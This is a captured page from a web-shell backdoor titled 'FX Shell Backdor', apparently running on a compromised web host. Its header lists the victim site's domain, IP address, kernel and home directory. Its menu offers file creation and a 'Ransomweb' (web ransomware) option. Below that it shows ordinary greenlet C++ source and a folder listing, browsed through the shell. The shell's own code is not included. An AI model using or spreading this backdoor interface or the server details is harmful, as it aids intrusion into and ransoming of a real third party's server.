FX Shell Backdor

Website : insignia.iwmserver.info

Ip Address : 209.74.67.164

Port : 443

Kernel : Linux premium909.web-hosting.com 4.18.0-553.77.1.lve.el8.x86_64 #1 SMP Wed Oct 8 14:21:00 UTC 2025 x86_64

Protokol : HTTP/1.1

Save Data :

Koneksi :

Server : LiteSpeed

Root : /home/insivwpc/public_html/insignia.iwmserver.info

G-Interface :

R-Method : GET

Browser : Lainnya

Version Shell : 1.0 (Release candidate)

Author : FierzaXploit/Mr.MF33

PATH : /proc/self/root/opt/hc_python/lib/python3.12/site-packages/greenlet/

Buat File

Buat Folder

Buat Ransomweb

/* -*- indent-tabs-mode: nil; tab-width: 4; -*- */
/**
 * Implementation of greenlet::MainGreenlet.
 *
 * Format with:
 *  clang-format -i --style=file src/greenlet/greenlet.c
 *
 *
 * Fix missing braces with:
 *   clang-tidy src/greenlet/greenlet.c -fix -checks="readability-braces-around-statements"
*/
#ifndef T_MAIN_GREENLET_CPP
#define T_MAIN_GREENLET_CPP

#include "TGreenlet.hpp"

#ifdef Py_GIL_DISABLED
#include <atomic>
#endif

// Incremented when we create a main greenlet, in a new thread, decremented
// when it is destroyed.
#ifdef Py_GIL_DISABLED
static std::atomic<Py_ssize_t> G_TOTAL_MAIN_GREENLETS(0);
#else
// Protected by the GIL.
static Py_ssize_t G_TOTAL_MAIN_GREENLETS;
#endif

namespace greenlet {
greenlet::PythonAllocator<MainGreenlet> MainGreenlet::allocator;

void* MainGreenlet::operator new(size_t UNUSED(count))
{
    return allocator.allocate(1);
}

void MainGreenlet::operator delete(void* ptr)
{
    return allocator.deallocate(static_cast<MainGreenlet*>(ptr),
                                1);
}

MainGreenlet::MainGreenlet(PyGreenlet* p, ThreadState* state)
    : Greenlet(p, StackState::make_main()),
      _self(p),
      _thread_state(state)
{
    G_TOTAL_MAIN_GREENLETS++;
}

MainGreenlet::~MainGreenlet()
{
    G_TOTAL_MAIN_GREENLETS--;
    this->tp_clear();
}

ThreadState*
MainGreenlet::thread_state() const noexcept
{
    return this->_thread_state;
}

void
MainGreenlet::thread_state(ThreadState* t) noexcept
{
    // this method is only used during thread tear down, when it is
    // called with nullptr, signalling the thread is dead.
    assert(!t);
    this->_thread_state = t;
}

const BorrowedMainGreenlet
MainGreenlet::main_greenlet() const
{
    return this->_self;
}

BorrowedMainGreenlet
MainGreenlet::find_main_greenlet_in_lineage() const
{
    return BorrowedMainGreenlet(this->_self);
}

bool
MainGreenlet::was_running_in_dead_thread() const noexcept
{
    return !this->_thread_state;
}

OwnedObject
MainGreenlet::g_switch()
{
    try {
        this->check_switch_allowed();
    }
    catch (const PyErrOccurred&) {
        this->release_args();
        throw;
    }

switchstack_result_t err = this->g_switchstack();
    if (err.status < 0) {
        // XXX: This code path is untested, but it is shared
        // with the UserGreenlet path that is tested.
        return this->on_switchstack_or_initialstub_failure(
            this,
            err,
            true, // target was me
            false // was initial stub
        );
    }

return err.the_new_current_greenlet->g_switch_finish(err);
}

int
MainGreenlet::tp_traverse(visitproc visit, void* arg)
{
    ThreadState* thread_state = this->_thread_state.load();
    if (thread_state) {
        // we've already traversed main, (self), don't do it again.
        int result = thread_state->tp_traverse(visit, arg, false);
        if (result) {
            return result;
        }
    }
    return Greenlet::tp_traverse(visit, arg);
}

const OwnedObject&
MainGreenlet::run() const
{
    throw AttributeError("Main greenlets do not have a run attribute.");
}

void
MainGreenlet::run(const BorrowedObject UNUSED(nrun))
{
   throw AttributeError("Main greenlets do not have a run attribute.");
}

void
MainGreenlet::parent(const BorrowedObject raw_new_parent)
{
    if (!raw_new_parent) {
        throw AttributeError("can't delete attribute");
    }
    throw AttributeError("cannot set the parent of a main greenlet");
}

const OwnedGreenlet
MainGreenlet::parent() const
{
    return OwnedGreenlet(); // null becomes None
}

}; // namespace greenlet

#endif

Type	Name	options
	__pycache__
	platform
	tests
	CObjects.cpp
	PyGreenlet.cpp
	PyGreenlet.hpp
	PyGreenletUnswitchable.cpp
	PyModule.cpp
	TBrokenGreenlet.cpp
	TExceptionState.cpp
	TGreenlet.cpp
	TGreenlet.hpp
	TGreenletGlobals.cpp
	TMainGreenlet.cpp
	TPythonState.cpp
	TStackState.cpp
	TThreadState.hpp
	TThreadStateCreator.hpp
	TThreadStateDestroy.cpp
	TUserGreenlet.cpp
	__init__.py
	__pycache__
	_greenlet.cpython-312-x86_64-linux-gnu.so
	greenlet.cpp
	greenlet.h
	greenlet_allocator.hpp
	greenlet_compiler_compat.hpp
	greenlet_cpython_compat.hpp
	greenlet_exceptions.hpp
	greenlet_internal.hpp
	greenlet_msvc_compat.hpp
	greenlet_refs.hpp
	greenlet_slp_switch.hpp
	greenlet_thread_support.hpp
	platform
	slp_platformselect.h
	tests